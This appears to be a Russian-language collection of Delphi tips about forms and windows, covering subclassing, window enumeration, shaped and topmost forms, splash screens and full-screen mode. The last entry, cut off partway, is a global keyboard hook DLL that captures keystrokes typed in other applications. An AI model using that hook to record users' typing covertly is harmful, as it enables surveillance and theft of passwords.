    procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Caption := Format ('Cursor in %d, %d', [X, Y]);
end;

end.



unit SubMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    BtnShow: TButton;
    BtnProc: TButton;
    BtnMeth: TButton;
    procedure BtnShowClick(Sender: TObject);
    procedure BtnMethClick(Sender: TObject);
    procedure BtnProcClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    OldWndMeth, NewWndMeth: Pointer;
    SubControl: TWinControl;
  public
    procedure NewWinMethod (var Msg: TMessage);
  end;

var
  Form1: TForm1;

implementation

uses SubSecon;

{$R *.DFM}

var
  OldWndProc: Pointer = nil;

function NewWinProc (Handle: THandle;
  Msg, wParam, lParam: LongInt): LongInt; stdcall;
begin
  if Msg = wm_RButtonDown then
  begin
    Beep;
    SetWindowText (Handle,
      PChar (Format ('Right click in %d, %d', [
        LoWord (lParam), HiWord (lParam)])));
  end;
  // pass call to old window proc
  Result := CallWindowProc (OldWndProc, Handle,
    Msg, wParam, lParam);
end;

procedure TForm1.NewWinMethod (var Msg: TMessage);
begin
  if Msg.Msg = wm_LButtonDown then
  begin
    Beep;
    SubControl.SetTextBuf (
      PChar (Format ('Left click in %d, %d', [
        LoWord (Msg.lParam), HiWord (Msg.lParam)])));
  end
  else
    Msg.Result := CallWindowProc (OldWndMeth,
      SubControl.Handle, Msg.Msg, Msg.WParam, Msg.LParam);
end;

procedure TForm1.BtnShowClick(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.BtnProcClick(Sender: TObject);
begin
  OldWndProc := Pointer (SetWindowLong
    (Form2.Handle, gwl_WndProc, LongInt (@NewWinProc)));
  BtnProc.Enabled := False;
  end;

procedure TForm1.BtnMethClick(Sender: TObject);
begin
  SubControl := Form2;
  NewWndMeth := MakeObjectInstance (NewWinMethod);
  OldWndMeth := Pointer (SetWindowLong (
    SubControl.Handle, gwl_WndProc, Longint (NewWndMeth)));
  BtnMeth.Enabled := False;
    end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if Assigned (NewWndMeth) then
    FreeObjectInstance (NewWndMeth);
end;

end.


К заголовку




" Переопределить параметры формы при её создании
unit MainFrm;

interface

uses
  SysUtils, Windows, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TMainForm = class(TForm)
    btnClose: TButton;
    procedure btnCloseClick(Sender: TObject);
  private
    { Private declarations }
  protected
    // Capture the WM_NCHITTEST message to enable moving the form.
    procedure WMNCHitTest(var message: TWMNCHitTest); message WM_NCHITTEST;
  public
    { Public declarations }
    procedure CreateParams(var Params: TCreateParams); override;
end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.WMNCHitTest(var message: TWMNCHitTest);
begin
  inherited;
  message.Result := HTCAPTION;
end;

procedure TMainForm.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  Params.Style := WS_THICKFRAME or WS_POPUP or WS_BORDER;
end;

procedure TMainForm.btnCloseClick(Sender: TObject);
begin
  Close;
end;

end.
К заголовку




" Перечислить формы и дочерние формы
type
   PWindows = ^TWindows;
   TWindows = record
     WindowHandle: HWND;
     WindowText: string;
   end;

 type
   TForm1 = class(TForm)
     Button1: TButton;
     TreeView1: TTreeView;
     procedure Button1Click(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

 var
   Form1: TForm1;
   PNode, CNode: TTreeNode;
   AWindows: PWindows;

 implementation

 {$R *.DFM}

 function EnumChildWindowsProc(Wnd: HWnd; Form: TForm1): Bool; export;
   {$ifdef Win32} stdcall; {$endif}
 var
   Buffer: array[0..99] of Char;
 begin
   GetWindowText(Wnd, Buffer, 100);
   //if StrLen(Buffer)  0 then
  if StrPas(Buffer) = '' then Buffer := 'Empty';
   new(AWindows);
   with AWindows^ do
   begin
     WindowHandle := Wnd;
     WindowText   := StrPas(Buffer);
   end;

   CNode := Form1.TreeView1.Items.AddChildObject(PNode,
                  AWindows^.WindowText + ':' +
                  IntToHex(AWindows^.WindowHandle, 8), AWindows);
   if GetWindow(Wnd, GW_CHILD)  0 then
   begin
     PNode := CNode;
     Enumchildwindows(Wnd, @EnumChildWindowsProc, 0);
   end;
   Result := True;
 end;

 function EnumWindowsProc(Wnd: HWnd; Form: TForm1): Bool;
   export; {$ifdef Win32} stdcall; {$endif}
 var
   Buffer: array[0..99] of Char;
 begin
   GetWindowText(Wnd, Buffer, 100);
   //if StrLen(Buffer)  0 then
  if StrPas(Buffer) = '' then Buffer := 'Empty';
   new(AWindows);
   with AWindows^ do
   begin
     WindowHandle := Wnd;
     WindowText   := StrPas(Buffer);
   end;

   PNode := Form1.TreeView1.Items.AddObject(nil, AWindows^.WindowText + ':' +
     IntToHex(AWindows^.WindowHandle, 8), AWindows);
   EnumChildWindows(Wnd, @EnumChildWindowsProc, 0);
   Result := True;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   EnumWindows(@EnumWindowsProc, Longint(Self));
 end;

 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   Dispose(AWindows);
 end;

 end.


 {**********************************************}
 {  Other Code by NicoDE
{**********************************************}

 type
   PMyEnumParam = ^TMyEnumParam;
   TMyEnumParam = record
     Nodes: TTreeNodes;
     Current: TTreeNode;
   end;

 function EnumWindowsProc(Wnd: HWND; Param: PMyEnumParam): BOOL; stdcall;
 const
   MyMaxName = 64;
   MyMaxText = 64;
 var
   ParamChild: TMyEnumParam;
   ClassName: string;
   WindowText: string;
 begin
   Result := True;
   SetLength(ClassName, MyMaxName);
   SetLength(ClassName, GetClassName(Wnd, PChar(ClassName), MyMaxName));
   SetLength(WindowText, MyMaxText);
   SetLength(WindowText, SendMessage(Wnd, WM_GETTEXT, MyMaxText, lParam(PChar(WindowText))));
   ParamChild.Nodes   := Param.Nodes;
   ParamChild.Current := Param.Nodes.AddChildObject(Param.Current,
     '[' + ClassName + '] "' + WindowText + '"' + ' Handle: ' + IntToStr(Wnd), Pointer(Wnd));
   EnumChildWindows(Wnd, @EnumWindowsProc, lParam(@ParamChild));
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 var
   Param: TMyEnumParam;
 begin
   Param.Nodes := TreeView1.Items;
   Param.Current := TreeView1.TopItem;
   TreeView1.Items.BeginUpdate;
   EnumWindows(@EnumWindowsProc, lParam(@Param));
   TreeView1.Items.EndUpdate;
 end;
К заголовку




" Показ формы без фокуса
ShowWindow(theWindowHandle, SW_SHOWNOACTIVE);
К заголовку




" Показывать содержимое формы при перетаскивании
procedure ShowContents(Value: Boolean);
 begin
   SystemParametersInfo(SPI_SETDRAGFULLWINDOWS, Ord(Value), nil, 0);
 end;

 // To Show window contents while dragging:

procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowContents(True);
 end;

 // To disable this option call the function:

procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowContents(False);
 end;
К заголовку




" Полезные команды для редактирования формы
To select the form when its surface is covered by components, simpy Shift-Click the form.

Manchmal ist eine Form voll bedeckt mit Komponenten und die Form kann nicht mehr per Klick ausgewдhlt werden.
Um sie dennoch schnell auszuwдhlen, einfach die Shift-Taste gedrьckt halten und zugleich einen Maus-Klick irgendwo
auf der Form ausьben.

***

To fine move (a pixel) a selected component:
Press Ctrl whilst pressing the cursor keys.

Um eine ausgewдhlte Komponente einen Pixel zu verschieben, halte die Ctrl-Taste gedrьckt und beweg die Komponente mit
den Pfeiltasten in die gewьnschte Richtung.

***

To fine resize a component:
Press Shift whilst pressing the cursor keys.

Um die Grцsse einer Komponente um einen Pixel zu дndern, halte die Shift-Taste gedrьckt und drьcke die Pfeiltasten, um
die Komponente zu vergrцssern resp. zu verkleinern.
К заголовку




" Полноэкранный режим формы
{
  Make your application like a game. Full Screen.
  Disable all of the system keys.
}

 procedure TForm1.FormCreate(Sender: TObject);
 var
   HTaskbar: HWND;
   OldVal: LongInt;
 begin
   try
     // Find handle of TASKBAR
    HTaskBar := FindWindow('Shell_TrayWnd', nil);
     // Turn SYSTEM KEYS off, Only Win 95/98/ME
    SystemParametersInfo(97, Word(True), @OldVal, 0);
     // Disable the taskbar
    EnableWindow(HTaskBar, False);
     // Hide the taskbar
    ShowWindow(HTaskbar, SW_HIDE);
   finally
     with Form1 do
      begin
       BorderStyle := bsNone;
       FormStyle   := fsStayOnTop;
       Left        := 0;
       Top         := 0;
       Height      := Screen.Height;
       Width       := Screen.Width;
     end;
   end
 end;

 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 var
   HTaskbar: HWND;
   OldVal: LongInt;
 begin
   //Find handle of TASKBAR
  HTaskBar := FindWindow('Shell_TrayWnd', nil);
   //Turn SYSTEM KEYS Back ON, Only Win 95/98/ME
  SystemParametersInfo(97, Word(False), @OldVal, 0);
   //Enable the taskbar
  EnableWindow(HTaskBar, True);
   //Show the taskbar
  ShowWindow(HTaskbar, SW_SHOW);
 end;


 {
  Hope you like it !
  So if you have any problem using these codes
  please e-mail me at :
  babak_sateli@yahoo.com
  Babak Sateli
  www.cdcenterco.com
}
К заголовку




" Получить информацию обо всех формах проекта
function EnumResTypes(hMod: THandle; restype, resname: PChar; Lines: TStrings): BOOL; stdcall;
 var
   ms: TMemoryStream;
   rs: TResourceStream;
   S: string;
   i: Integer;
 begin
   Result := True;
   SetLength(S, 10000);
   if Assigned(resname) then
   begin
     rs := TResourceStream.Create(hinstance, resname, restype);
     try
       try
         ms := TMemoryStream.Create;
         try
           ObjectBinaryToText(rs, ms);
           SetLength(S, ms.Size);
           ms.Position := 0;
           ms.read(S[1], ms.Size);

           Lines.Add(resname);
           Lines.Add('Length of data is ' + IntToStr(Length(S)));
           i := Pos(#13, S);
           if i > 0 then
           begin
             SetLength(S, i - 1);
             Lines.Add(S);
             i := Pos('object', S);
             if i > 0 then
             begin
               Delete(S, 1, i + 6);
               i := Pos(' ', S);
               if i > 0 then
               begin
                 Lines.Add('Form name is: ' + Copy(S, 1, i - 2));
                 Delete(S, 1, i);
                 Lines.Add('Form class is: ' + S);
               end;
             end
           end
           else
           begin
             // Lines.Add('This resource seems not to hold a form');
          end;
         finally
           ms.Free
         end;
       except
         // Lines.Add('This resource is not a form resource');
      end;
     finally
       rs.Free;
     end;
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   if not EnumResourceNames(0, RT_RCDATA, @EnumResTypes, Integer(Memo1.Lines)) then
     Memo1.Lines.Add('Error, GetLastError Returns ' + IntToHex(GetLastError, 8));
 end;
К заголовку




" Получить позицию активного окна
procedure TForm1.Button1Click(Sender: TObject);
 var
   hWindow: HWnd;
   r:       TRect;
 begin
   hWindow := GetForegroundWindow;
   GetWindowRect(hWindow, r);
   Memo1.Clear;
   with Memo1.Lines do
   begin
     Add('Top   : ' + IntToStr(r.Top));
     Add('Left  : ' + IntToStr(r.Left));
     Add('Bottom: ' + IntToStr(r.Bottom));
     Add('Right : ' + IntToStr(r.Right));
   end;
 end;
К заголовку




" Последовательность событий жизненного цикла формы
These Events occur at least during the life cycle of a form:

Diese Ereignisse treffen wдhrend des Lebens-Zyklus einer Form mindestens ein:

OnCreate
OnShow
OnPaint
OnActivate
OnResize
OnPaint
OnCloseQuery
OnClose
OnDeactivate
OnHide
OnDestroy
К заголовку




" Постоянно держать форму на заднем плане
(* Mit dem folgendem Code liegt die Form des Programms diereckt auf
dem Desktop, also immer Hintergrund, selbst wenn sie den Fokus bekommt *)


 protected
   procedure CreateParams(var Params: TCreateParams); override;

 //...

procedure TForm.CreateParams(var Params: TCreateParams);
 begin
   inherited CreateParams(Params);
   if Assigned(Application.MainForm) then
   begin
     Params.WndParent := GetDesktopWindow;
     Params.Style := WS_CHILD;
   end;
 end;
К заголовку




" Предохранить форму от сворачивания
The Windows Taskbar function "Minimize all Windows" minimizes all Windows even if they don''t have a minimize button.
The following code will prevent a form from minimizing through windows.

Die Funktion "Alle Fenster minimieren" aus der Windows Taskbar minimiert alle Fenster, auch solche die eigentlich keine
Minimieren-Schaltflдche besitzen. Der folgende Code verhindert das Minimieren eines Fensters.

 implementation

 procedure TForm1.WMShowWindow(var Msg: TWMShowWindow);
 begin
   if not Msg.Show then
     Msg.Result := 0
   else
     inherited;
 end;
К заголовку




" Пример EnumWindows
   1. Создайте форму и разместите на ней два компонента ListBox.
   2. Скопируйте код, показанный ниже.
   3. Запустите SysEdit.
   4. Запустите форму Delphi. Первый ListBox должен содержать список всех запущенных приложений. Дважды щелкните на
 SysEdit и нижний ListBox покажет дочернее MDI-окно программы SysEdit.


unit Wintask1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    ListBox2: TListBox;
    procedure FormCreate(Sender: TObject);
    procedure ListBox1DblClick(Sender: TObject);
  private
    function enumListOfTasks(hWindow: hWnd): Bool; export;
    function enumListOfChildTasks(hWindow: hWnd): Bool; export;
  end;

  THoldhWnd = class(TObject)
  private
  public
    hWindow: hWnd;
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  enumWindows(@TForm1.EnumListOfTasks, Longint(Self));
  if (ListBox1.Items.Count > 0) then
    ListBox1.ItemIndex := 0;
end;

function TForm1.enumListOfTasks(hWindow: hWnd): Bool;
var
  HoldString: PChar;
  WindowStyle: Longint;
  IsAChild: Word;
  HoldhWnd: THoldhWnd;

begin
  GetMem(HoldString, 256);

  HoldhWnd := THoldhWnd.Create;
  HoldhWnd.hWindow := hWindow;

  WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
  WindowStyle := WindowStyle and Longint(WS_VISIBLE);
  IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);

  {Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
  if (GetWindowText(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox1.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
  else if (GetClassName(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox1.Items.AddObject(Concat('<', StrPas(HoldString), '>'),
      TObject(HoldhWnd));

  FreeMem(HoldString, 256);
  HoldhWnd := nil;
  Result := TRUE;
end;

function TForm1.enumListOfChildTasks(hWindow: hWnd): Bool;
var
  HoldString: PChar;
  WindowStyle: Longint;
  IsAChild: Word;
  HoldhWnd: THoldhWnd;

begin
  GetMem(HoldString, 256);

  HoldhWnd := THoldhWnd.Create;
  HoldhWnd.hWindow := hWindow;

  WindowStyle := GetWindowLong(hWindow, GWL_STYLE);
  WindowStyle := WindowStyle and Longint(WS_VISIBLE);
  IsAChild := GetWindowWord(hWindow, GWW_HWNDPARENT);

  {Добавляем строку с текстом задачи или именем класса и дескриптор в ListBox1.Items }
  if (GetWindowText(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild <> Word(nil)) then
    ListBox2.Items.AddObject(StrPas(HoldString), TObject(HoldhWnd))
  else if (GetClassName(hWindow, HoldString, 255) > 0) and
    (WindowStyle > 0) and (IsAChild = Word(nil)) then
    ListBox2.Items.AddObject(Concat('<', StrPas(HoldString), '>'),
      TObject(HoldhWnd));

  FreeMem(HoldString, 256);
  HoldhWnd := nil;
  Result := TRUE;
end;

procedure TForm1.ListBox1DblClick(Sender: TObject);
begin
  enumChildWindows(THoldhWnd(ListBox1.Items.Objects[ListBox1.ItemIndex]).hWindow,
    @TForm1.enumListOfChildTasks, Longint(Self));

  ListBox2.RePaint;
end;

end.

К заголовку




" Проверить, содержит ли окно набор Unicode символов
{
  The IsWindowUnicode function
  determines whether the specified window is a native Unicode window

  The character set of a window is determined by the use of the RegisterClass function.
  If the window class was registered with the ANSI version of RegisterClass (RegisterClassA),
  the character set of the window is ANSI. If the window class was registered with the Unicode
  version of RegisterClass (RegisterClassW), the character set of the window is Unicode.

  The system does automatic two-way translation (Unicode to ANSI) for window messages.
  For example, if an ANSI window message is sent to a window that uses the Unicode character set,
  the system translates that message into a Unicode message before calling the window procedure.
  The system calls IsWindowUnicode to determine whether to translate the message.

}

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   {determine if the window is a Unicode window}
   if (IsWindowUnicode(Form1.Handle)) then
     Button1.Caption := 'This window is a Unicode window'
   else
     Button1.Caption := 'This window is not a Unicode window'
 end;
К заголовку




" Просмотреть текст формы
unit FRForm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Panel1: TPanel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
  ResStr: TResourceStream;
  MemStr: TMemoryStream;
begin
  ResStr := TResourceStream.Create(
    hInstance, 'TFORM1', RT_RCDATA);
  try
    MemStr := TMemoryStream.Create;
    ResStr.Position := 0;
    ObjectBinaryToText (ResStr, MemStr);
    MemStr.Position := 0;
    Memo1.Lines.LoadFromStream (
      MemStr);
  finally
    ResStr.Free
  end;
end;


end.
К заголовку




" Просмотреть текст формы из запущенной программы
procedure TForm1.Button1Click(Sender: TObject);
 var
   rs: TResourceStream;
   ms: TMemoryStream;
 begin
   rs := TResourceStream.Create(HInstance, ClassName, RT_RCDATA);
   try
     ms := TMemoryStream.Create;
     try
       ObjectBinaryToText(rs, ms);
       ms.Seek(0, 0);
       memo1.Lines.LoadFromStream(ms);
     finally
       ms.Free;
     end;
   finally
     rs.Free;
   end;
 end;
К заголовку




" Режимы разрешения для формы
Я сделал довольно полный набор тестов, результаты которого показаны ниже:

                               режим показа формы
 режим создания формы      -------------------------
 --------------------      640S      1024S     1024L
        640S,s              OK        OK        B
        640S,u              OK        OK        C
        1024S,s             OK        OK        B
        1024S,u             OK        OK        C
        1024L,s             A         A         OK
        1024L,u             OK        OK        OK

расшифровка:

 640  -> 640x480x256
 1024 -> 1024x768x256
 S/L  -> маленькие/большие шрифты
 s/u  -> Scaled := True/False

 OK: вид выводимой формы такой же, как и во время ее
     разработки
 A:  форма увеличивается относительно управляющих координат
 B:  форма сокращается относительно управляющих координат
 C:  форма и элементы управления слишком малы для текста


Вывод после проведенных экспериментов: для того, чтобы вероятность появления формы в том же виде, что она была при
проектировании была высока, разработка ее дизайна должна производиться в системе с установленными большими шрифтами
и со свойством формы Scaled := False.
К заголовку




" Сделать форму меньше 112 пикселей
{
  In order to allow very small windows,
  you need to override the default behavior for Windows message WM_GETMINMAXINFO.
  This message is sent to your window by the OS in order to find out
  the minimum and the maximum allowed window size.
  You can do this by adding this method procedure to your form:
}

 private
   procedure GetMinMaxInfo(var Msg: TWMGETMINMAXINFO); message WM_GETMINMAXINFO;
   { Private declarations }
 public
   { Public declarations }
 end;

 var
   Form1: TForm1;

 implementation

 {$R *.dfm}

 procedure TForm1.GetMinMaxInfo(var Msg: TWMGETMINMAXINFO);
 begin
   inherited;
   with Msg.MinMaxInfo^ do
   begin
     ptMinTrackSize.X := 0; // min. Width
    ptMinTrackSize.Y := 0; // min. Height
  end;
 end;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   { no systemmenu }
   BorderIcons := BorderIcons - [biSystemMenu];
   { set the form's width & height }
   Width := 80;
   Height := 60;
 end;
К заголовку




" Событие при потере и установке фокуса для формы
Type TMain = class(TForm)
  ....
  protected Procedure LastFocus(var Mess : TMessage);
    message  WM_ACTIVATE;
End;

Procedure TMain.LastFocus(var Mess : TMessage);
Begin
  IF  Mess.wParam = WA_INACTIVE Then
    PanelCaption.Color:=clInactiveCaption
  Else
    PanelCaption.Color:=clActiveCaption;

  Inherited;
End;
К заголовку




" Создание заставки
Перед появлением главного окна во всех серьёзных приложениях сначала появляется заставка. Теперь и у Вас есть
возможность повыёживаться! Для создания заставки выполняем следующую последовательность действий:

Начинаем создание нового приложение командой “New Application” (“Новое приложение”) из меню “File” (“Файл”)

Добавьте ещё одну форму: “New Form”(“Новая форма”) из меню “File” (“Файл”). Это окно и будет заставкой. У него
нужно убрать рамку с полосой заголовка, установив свойство “BorderStyle” в “bsNone”. Теперь можно смело разработать
дизайн окна заставки.

Из меню “Project” (“Проект”) выбрать команду “Options”(“Опции”). Зайти на закладку “Forms”(“Формы”) и Form2 из
списка автоматически создаваемых форм (Auto-Create forms) перенести в список доступных форм (Available forms)

На форму-заставку с закладки System вынести компонент Timer. В его свойстве Interval установить значение 5000, а
в событии OnTimer написать:

Timer1.Enabled := false;


Это сделано для того, чтобы заставка была видна в период указанного времени – 5000 миллисекунд, т.е. 5 секунд.

Перейти в файл проекта, нажав Ctrl+F12 и выбрав Project1. Исходный код должен выглядеть так:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.


Теперь мы внесём сюда немного изменений и код должен стать таким:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Form2 := TForm2.Create(Application);
  Form2.Show;
  Form2.Update;
  while Form2.Timer1.Enabled do
    Application.ProcessMessages;
  Application.CreateForm(TForm1, Form1);
  Form2.Hide;
  Form2.Free;
  Application.Run;
end.

К заголовку




" Создание формы на основе строки
Обзор

В данном документе рассказывается о том, как в Delрhi можно создать экземпляр формы на основе строки, содержащей имя
типа. Код примера прилагается.

На кого расчитан данный документ?

На любого программиста, имеющего начальные знания для работы с Delphi. Имеет отношение к любой версии Delphi.

Создание формы на основе строки

Чтобы можно было создать экземпляр формы на основе строки, содержащей имя типа, вы должны в первую очередь
зарегистрировать данный тип в Delphi. Это выполняется функцией "RegisterClass". RegisterClass описан следующим
образом:

procedure RegisterClass(AClass: TPersistentClass);


AClass - класс TPersistent. Другими словами, класс, который вы хотите регистрировать, в какой-то точке должен
наследоваться от TPersistent. Поскольку все элементы управления Delphi, включая формы, соблюдают это требование,
то проблем быть не должно. Но такой способ не пройдет, если регистрируемые классы наследуются непосредственно от
TObject.

После регистрации класса, вы можете найти указатель на тип, передавая строку в FindClass. Функция возвратит ссылку
на класс, которую можно использовать для создания формы. Небольшой поясняющий пример:

procedure TForm1.Button2Click(Sender: TObject);
var
b : TForm;
f : TFormClass;
begin
f := TFormClass(findClass('Tform2'));
b := f.create(self);
b.show;
end;


Данный код создаст тип TForm2, который мы зарегистрировали с помощью RegisterClass.

Демонстрационный проект

Создайте новый проект, затем добавьте 4 формы так, чтобы в общей сложности получилось 5. В реальном проекте вы
можете заполнить их необходимыми элементами управления, для данного же примера это не важно.

В первой форме разместите поле редактирования и кнопку. Удалите все формы, кроме главной, из списка AutoCreate.
Наконец, скопируйте приведенный ниже код в unit1, он позволит вам создавать форму по имени типа класса, введенному
в поле редактирования.

unit Unit1;

interface

uses
  Unit2, Unit3, Unit4, Unit5, Windows, Messages,
  SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  RegisterClass(Tform2);
  RegisterClass(Tform3);
  RegisterClass(Tform4);
  RegisterClass(Tform5);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  f: Tformclass;
begin
  f := tformclass(findClass(edit1.text));
  with f.create(self) do
    show;
end;

К заголовку




" Создание формы переменного типа
Как насчет этого? (допустим что str содержит 'TForm2' и т.п.)?

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TFormClass(FindClass(str)).Create(Application) do
    try
      ShowModal;
    finally
      Free;
    end;
end;

initialization
  RegisterClasses([TForm2,TForm3,TForm4]);
end.

К заголовку




" Создать форму с закругленными краями

  Die CreateRoundRectRgn lasst eine Form mit abgerundeten Ecken erscheinen.

  The CreateRoundRectRgn function creates a rectangular
  region with rounded corners
}

 procedure TForm1.FormCreate(Sender: TObject);
 var
   rgn: HRGN;
 begin
   Form1.Borderstyle := bsNone;
   rgn := CreateRoundRectRgn(0,// x-coordinate of the region's upper-left corner
    0,            // y-coordinate of the region's upper-left corner
    ClientWidth,  // x-coordinate of the region's lower-right corner
    ClientHeight, // y-coordinate of the region's lower-right corner
    40,           // height of ellipse for rounded corners
    40);          // width of ellipse for rounded corners
  SetWindowRgn(Handle, rgn, True);
 end


 { The CreatePolygonRgn function creates a polygonal region. }


 procedure TForm1.FormCreate(Sender: TObject);
 const
   C = 20;
 var
   Points: array [0..7] of TPoint;
   h, w: Integer;
 begin
   h := Form1.Height;
   w := Form1.Width;
   Points[0].X := C;     Points[0].Y := 0;
   Points[1].X := 0;     Points[1].Y := C;
   Points[2].X := 0;     Points[2].Y := h - c;
   Points[3].X := C;     Points[3].Y := h;

   Points[4].X := w - c; Points[4].Y := h;
   Points[5].X := w;     Points[5].Y := h - c;

   Points[6].X := w;     Points[6].Y := C;
   Points[7].X := w - C; Points[7].Y := 0;

   SetWindowRgn(Form1.Handle, CreatePolygonRgn(Points, 8, WINDING), True);
 end;
К заголовку




" Убирать бордюр формы при перемещении
procedure TForm1.PanelTopMouseDown(Sender: TObject;
   Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
 const
   SC_DRAGMOVE = $F012;
 begin
   if (Button = mbLeft) then
   begin
     ReleaseCapture;
     (Self as TControl).Perform(WM_SYSCOMMAND, SC_DRAGMOVE, 0);
   end;
 end;
К заголовку




" Удалить кнопки сворачивания и максимизации с формы
{
  This article shows by example how to suppress the maximize and
  minimize buttons on an form at runtime.
  To disable an form's Minimize and Maximize buttons,
  you need to use the SetWindowLong Windows API
  function to change the style of the window.
}

 { Dieses Beispiel zeigt, wie man die Schaltflachen zur Minimierung,
  Maximierung einer Form zur Laufzeit verstecken kann.
  Man braucht dafur die SetWindowLong Windows API um den Stil
  des Fensters zu andern.
  Der Code kann auch fur non-VCL Anwendungen gebraucht werden.
}

 // Add the following code to the OnCreate event
// procedure for your form (TForm1):

procedure TForm1.FormCreate(Sender: TObject);
 var
   l: DWORD;
 begin
   l := GetWindowLong(Self.Handle, GWL_STYLE);
   l := l and not (WS_MINIMIZEBOX);
   l := l and not (WS_MAXIMIZEBOX);
   l := SetWindowLong(Self.Handle, GWL_STYLE, l);
 end;
К заголовку




" Универсальный создатель формы
Обратите внимание на методы FindClass/GetClass и RegisterClass. С помощью их вы можете эффективно перевести строку
(имя класса формы) в тип класса этой формы, и затем выполнить такую команду:

MyForm := TForm(FindClass(SomeString)).Create(Self);

К заголовку




" Форма выше всех других форм
with Self do {Form1,...}
   SetWindowPos(Handle, // handle to window
               HWND_TOPMOST, // placement-order handle {*}
               Left,  // horizontal position
               Top,   // vertical position
               Width,
                Height,
                // window-positioning options
               SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);

 {* Other Values: }
 HWND_BOTTOM
 Places the window at the bottom of the Z order.
 HWND_NOTOPMOST
 Places the window above all non-topmost windows
 HWND_TOP
 Places the window at the top of the Z order.
 HWND_TOPMOST
 Places the window above all non-topmost windows.
 The window maintains its topmost position even when it is deactivated.
К заголовку




" Hook и обработка нажатий клавиш в др. приложениях
//Так как ловушка глобальная, то естественно нужно DLL

library HookLib;

uses
  madExcept,
  Windows,
  Messages,
  SysUtils;

type
  PHookRec = ^THookRec;
  THookRec = record
    AppHnd: Integer;
    MemoHnd: Integer;
  end;

var
  Hooked: Boolean;
  hKeyHook, hMemo, hMemFile, hApp: HWND;
  PHookRec1: PHookRec;

function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;
var
  KeyState1: TKeyBoardState;
  AryChar: array[0..1] of Char;
  Count: Integer;
begin
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);
  {I moved the CallNextHookEx up here but if you want to block
  or change any keys then move it back down}
  if Code < 0 then
    Exit;

  if Code = HC_ACTION then
  begin
    if ((KeyStroke and (1 shl 30)) <> 0) then
      if not IsWindow(hMemo) then
      begin
       {I moved the OpenFileMapping up here so it would not be opened
       unless the app the DLL is attatched to gets some Key messages}
        hMemFile  := OpenFileMapping(FILE_MAP_WRITE, False, 'Global7v9k');
        PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
        if PHookRec1 <> nil then
        begin
          hMemo := PHookRec1.MemoHnd;
          hApp  := PHookRec1.AppHnd;
        end;
      end;
    if ((KeyStroke and (1 shl 30)) <> 0) then
    begin
      GetKeyboardState(KeyState1);
      Count := ToAscii(VirtualKey, KeyStroke, KeyState1, AryChar, 0);
      if Count = 1 then
      begin
        SendMessage(hMemo, WM_CHAR, Ord(AryChar[0]), 0);
        {I included 2 ways to get the Charaters, a Memo Hnadle and
        a WM_USER+1678 message to the program}
        PostMessage(hApp, WM_USER + 1678, Ord(AryChar[0]), 0);
      end;
    end;
  end;
end;

function StartHook(MemoHandle, AppHandle: HWND): Byte; export;
begin
